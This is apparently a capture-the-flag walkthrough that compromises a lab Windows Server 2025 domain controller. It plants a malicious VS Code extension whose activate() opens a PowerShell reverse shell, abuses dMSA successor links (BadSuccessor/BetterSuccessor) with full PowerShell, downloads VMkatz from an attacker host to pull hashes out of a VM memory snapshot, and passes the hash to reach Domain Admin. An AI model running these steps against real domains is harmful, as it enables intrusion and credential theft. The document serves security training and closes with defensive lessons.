Overview
Checkpoint is a hard Windows box built around a Windows Server 2025 Active Directory domain controller. Initial access is achieved by uploading a malicious VS Code extension to an internal distribution share. From the resulting foothold, a post-patch BadSuccessor attack (BetterSuccessor) creates a delegated managed service account that inherits a service account's group memberships, granting access to a VMware backup share. VMkatz extracts the Administrator NTLM hash directly from the VM snapshot without transferring the 2 GB memory file.
Enumeration
Nmap
nmap -sC -sV -T4 -oA nmap 10.129.253.212
The port profile confirms a domain controller: DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), WinRM (5985), RPC (135/593), and AD Web Services (9389). RDP (3389) is also open.
SMB Shares
Enumerating shares with the provided credentials (alex.turner : Checkpoint2024!):
netexec smb 10.129.253.212 -u alex.turner -p 'Checkpoint2024!' --shares
Two non-standard shares stand out:
- DevDrop — described as a VS Code extension distribution point for approved
.vsixpackages. Currently empty but writable. - VMBackups — access denied with these credentials.
Domain Users
LDAP signing is required on this DC, blocking unauthenticated and NTLM-authenticated LDAP queries. RID brute-force via SMB enumerates 13 domain accounts. Key findings:
ryan.brooks— DevTeam group, 614 logons (most active user)svc_deploy— BackupAccess group (interesting given the VMBackups share)max.palmer— Domain Admins, 264 logons, password last set the same day DevDrop was last modified
The correlation between max.palmer's password reset date and the DevDrop modification timestamp strongly suggests max.palmer is actively using the extension distribution share.
Initial Access — Malicious VS Code Extension
VS Code automatically activates installed extensions on startup. The DevDrop share is writable with the given credentials, making it a delivery vector for a malicious .vsix package.
A minimal VS Code extension is crafted with an activate() function in extension.js that spawns a PowerShell reverse shell:
// extension.js
const { exec } = require('child_process');
exports.activate = function() {
exec('powershell -e <base64_encoded_reverse_shell>');
};
The extension is packaged as a .vsix archive with a package.json declaring activationEvents: ["*"] to ensure immediate activation, then uploaded to the share:
smbclient '\\10.129.253.212\DevDrop' -U 'checkpoint.htb/alex.turner%Checkpoint2024!' \
-c 'put security-update.vsix'
Within seconds, a shell connects back as checkpoint\ryan.brooks — confirming ryan.brooks, not max.palmer, is the user whose VS Code instance picks up extensions from DevDrop.
Active Directory Enumeration
From the ryan.brooks shell, BloodHound data collection identifies two key permissions:
ryan.brooks→ CreateChild onOU=DMSAHolder— permission to create objects in the delegated MSA containerryan.brooks→ GenericWrite onsvc_deploy— permission to write arbitrary attributes to the service account
These two permissions together enable the BetterSuccessor attack.
Privilege Escalation — BetterSuccessor (Post-Patch BadSuccessor)
BadSuccessor (CVE-2025-29810) abuses Windows Server 2025's new Delegated Managed Service Account (dMSA) object type. When a dMSA is configured as the successor to an existing account, the KDC includes the predecessor account's SIDs in the dMSA's Kerberos tickets, effectively granting the dMSA all of the predecessor's group memberships.
Microsoft's August 2025 patch requires mutual pairing — both the dMSA and the target account must reference each other. This variant is known as BetterSuccessor. With CreateChild on OU=DMSAHolder and GenericWrite on svc_deploy, all required attributes can be set.
Creating the dMSA
A PowerShell script served via HTTP and executed via IEX creates the dMSA with all required attributes in a single New-ADObject call. The critical attributes that were missing from earlier attempts include msDS-DelegatedMSAState and msDS-SupportedEncryptionTypes:
$sid = (Get-ADUser alex.turner).SID.Value
$sddl = "O:S-1-5-32-544D:(A;;0x1F01FF;;;$sid)"
$sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sd.SetSecurityDescriptorSddlForm($sddl)
$sdBytes = New-Object byte[] ($sd.GetSecurityDescriptorBinaryForm().Length)
$sd.GetSecurityDescriptorBinaryForm().CopyTo($sdBytes, 0)
New-ADObject -Name "dMSA-atk2" `
-Type "msDS-DelegatedManagedServiceAccount" `
-Path "OU=DMSAHolder,DC=checkpoint,DC=htb" `
-OtherAttributes @{
"sAMAccountName" = "dMSA-atk2$"
"dNSHostName" = "dMSA-atk2.checkpoint.htb"
"msDS-ManagedPasswordInterval" = 30
"msDS-GroupMSAMembership" = $sdBytes
"msDS-DelegatedMSAState" = 2
"msDS-ManagedAccountPrecededByLink" = "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb"
"msDS-SupportedEncryptionTypes" = 28
"userAccountControl" = 4096
}
Setting Mutual Pairing on svc_deploy
Set-ADUser svc_deploy -Replace @{
"msDS-SupersededManagedAccountLink" = "CN=dMSA-atk2,OU=DMSAHolder,DC=checkpoint,DC=htb"
"msDS-SupersededServiceAccountState" = 2
}
Retrieving the dMSA Keys
With both sides of the pairing set, badS4U2self (from the kerbad library) requests a DMSA S4U2self ticket as alex.turner. The KDC returns a KERB-DMSA-KEY-PACKAGE in the TGS response containing the dMSA's current keys and the predecessor account's credentials in the "previous keys" field:
badS4U2self \
'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%[email protected]/?etype=18' \
'krbtgt/[email protected]' \
'[email protected]' \
--dmsa --ccache /tmp/dmsa.ccache -v
The response includes svc_deploy's NT hash in the previous keys, which is used directly for pass-the-hash:
evil-winrm -i 10.129.253.212 -u svc_deploy -H <nt_hash>
VMBackups — Memory Forensics
As svc_deploy (BackupAccess group), the previously denied \\DC01\VMBackups share is now accessible. It contains a single backup folder with a VMware Workstation snapshot of a Windows Server 2019 VM:
Windows Server 2019-Snapshot1.vmem— 2 GB physical memory snapshotWindows Server 2019-Snapshot1.vmsn— 138 MB snapshot state fileWindows Server 2019.vmdk— 10 GB virtual disk
Rather than transferring 2 GB over the VPN, VMkatz is uploaded to the DC and run against the snapshot files in-place. VMkatz reads the .vmsn and its companion .vmem directly from the server, extracts LSASS from the VM's physical memory, and outputs credentials without any file transfer:
# Upload VMkatz (2.3 MB static binary) via HTTP
Invoke-WebRequest http://10.10.14.23:7777/vmkatz.exe -OutFile vmkatz.exe
# Copy snapshot files to a local path (fast server-side copy)
Copy-Item "\\DC01\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" C:\Users\svc_deploy\mem.vmem
Copy-Item "\\DC01\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn" C:\Users\svc_deploy\mem.vmsn
# Extract credentials
.\vmkatz.exe --format ntlm C:\Users\svc_deploy\mem.vmsn
VMkatz recovers the local Administrator NTLM hash from the VM's LSASS in under 25 ms. The password is shared with the domain Administrator account.
Root
evil-winrm -i 10.129.253.212 -u Administrator -H <nt_hash>
Domain Admin access achieved. Root flag retrieved from C:\Users\Administrator\Desktop\root.txt.
Key Takeaways
Checkpoint chains three distinct weaknesses. The DevDrop share treats write access as a safe distribution mechanism without validating what gets placed there — any account that can upload a .vsix can execute code as whoever has VS Code open. The BetterSuccessor primitive shows that even post-patch dMSA mitigations are ineffective when an attacker holds GenericWrite over the target account alongside CreateChild in the dMSA container; the mutual pairing requirement only raises the bar slightly. Finally, storing VM memory snapshots on a share accessible to service accounts creates an offline credential extraction path that bypasses all live endpoint protections — VMkatz makes this trivially fast without even requiring the files to leave the server.